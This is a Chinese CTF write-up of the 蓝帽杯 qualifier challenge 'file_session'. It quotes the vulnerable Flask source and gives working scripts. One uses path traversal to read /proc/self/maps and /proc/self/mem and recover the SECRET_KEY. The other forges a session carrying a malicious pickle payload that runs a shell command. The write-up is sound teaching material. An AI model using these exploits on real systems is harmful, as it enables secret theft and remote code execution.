蓝帽杯初赛 file_session 见解
大概思路:利用任意文件读取从内存中读取SECRET_KEY值,然后伪造session去打一个pickle反序列化
前言 远程环境没有打通,本地docker复现成功。问了一些师傅同样是远程session伪造没有成功,具体原因不明。
本地docker使用的镜像是:python:3.8.0
蓝帽杯官方wp 官方的wp出来了,环境是没问题的,主要还是自己太菜了,session的更多属性是得补充一下了,哭惨惨
任意文件读取 上来就给了一个/download
来读取任意文件,我是先尝试读取/proc/self/cmdline
文件,发现起的是一个flask,然后读取源代码/app/app.py
文件,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import base64import osimport uuidfrom flask import Flask, request, session, render_templatefrom pickle import _loadsSECRET_KEY = str (uuid.uuid4()) app = Flask(__name__) app.config.update(dict ( SECRET_KEY=SECRET_KEY, )) @app.route('/' , methods=['GET' ] ) def index (): return render_template("index.html" ) @app.route('/download' , methods=["GET" , 'POST' ] ) def download (): filename = request.args.get('file' , "static/image/1.jpg" ) offset = request.args.get('offset' , "0" ) length = request.args.get('length' , "0" ) if offset == "0" and length == "0" : return open (filename, "rb" ).read() else : offset, length = int (offset), int (length) f = open (filename, "rb" ) f.seek(offset) ret_data = f.read(length) return ret_data @app.route('/filelist' , methods=["GET" ] ) def filelist (): return f"{str (os.listdir('./static/image/' ))} /download?file=static/image/1.jpg" @app.route('/admin_pickle_load' , methods=["GET" ] ) def admin_pickle_load (): if session.get('data' ): data = _loads(base64.b64decode(session['data' ])) return data session["data" ] = base64.b64encode(b"error" ) return 'admin pickle' if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False , port=8888 )
这里在关注到/admin_pickle_load
是可以对session进行base64+pickle反序列化的,这里应该就是漏洞利用点,但是需要伪造session。
这里并没有给SECRET_KEY,我的第一想法是伪造uuid4,虽然说是伪随机,但是没有种子应该没有利用的可能了。后来想到启动flask框架,这些全局变量必定是要存放起来的,那么应该是存放在了内存中。于是就找到了/proc/self/maps
和/proc/self/mem
文件
这里建议对这两个文件不了解的读者可以想看看这篇文章:https://askdev.io/cn/questions/52854/ru-he-zai-linux-xia-cong-proc-pid-mem-du-qu-shu-ju
但是我用正则死活匹配不到uuid值
接下来的内容就是比赛结束后的了
赛后在水群的时候提出了匹配不到的问题,空白师傅给了我解答让我自己搭环境试试。于是我搭了个环境去测试,是可以找到的。于是我换了一种方式通过匹配与uuid相同位置的关键字作为匹配去找相对应的start和end位置,如下图所示
然后写个脚本开始跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport reimport sysreload(sys) sys.setdefaultencoding('utf-8' ) url_1 = "http://192.168.68.128:8888/download?file=../../../../../proc/self/maps" res = requests.get(url_1) maplist = res.text.split("\n" ) for i in maplist: m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw" , i) if m != None : start = int (m.group(1 ), 16 ) end = int (m.group(2 ), 16 ) url_2 = "http://192.168.68.128:8888/download?file=../../../../../proc/self/mem&offset={}&length={}" .format ( start, end - start) res_1 = requests.get(url_2) if "Blueprint.before_app_request" in res_1.text: print start print end-start
这里矿大的h0cksr师傅通过正则是有匹配到的(PS:我的正则写的真的拉),他的方法就是将maps文件中读到的地址都dump下来,然后通过正则去匹配uuid格式,然后提取出来,正则如下
pickle反序列化 拿到了uuid后就可以开始伪造session的内容了。
伪造的session远程都打不通,但是本地可以,不知道是不是远程有问题。当然也可能是我自己某一点没想到吧。
伪造后打远程的情况如下
这里返回了session
和admin pickle
说明我们构造的session['data']
并没有被靶机读到
伪造后打本地的情况如下
伪造的脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import base64from flask import *import pickleimport commandsclass payload (object ): def __reduce__ (self ): return (commands.getoutput, ('ls /' ,)) SECRET_KEY = "f238196a-466d-445b-942c-c1bbfcfdb7db" app = Flask(__name__) app.config.update(dict ( SECRET_KEY=SECRET_KEY, )) @app.route("/" , methods=['GET' , 'POST' ] ) def login (): session['data' ] = base64.b64encode(pickle.dumps(payload())) return 'atao' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
这里如果出题人没有改pickle.py的源码,利用上面的payload应该是能打通的。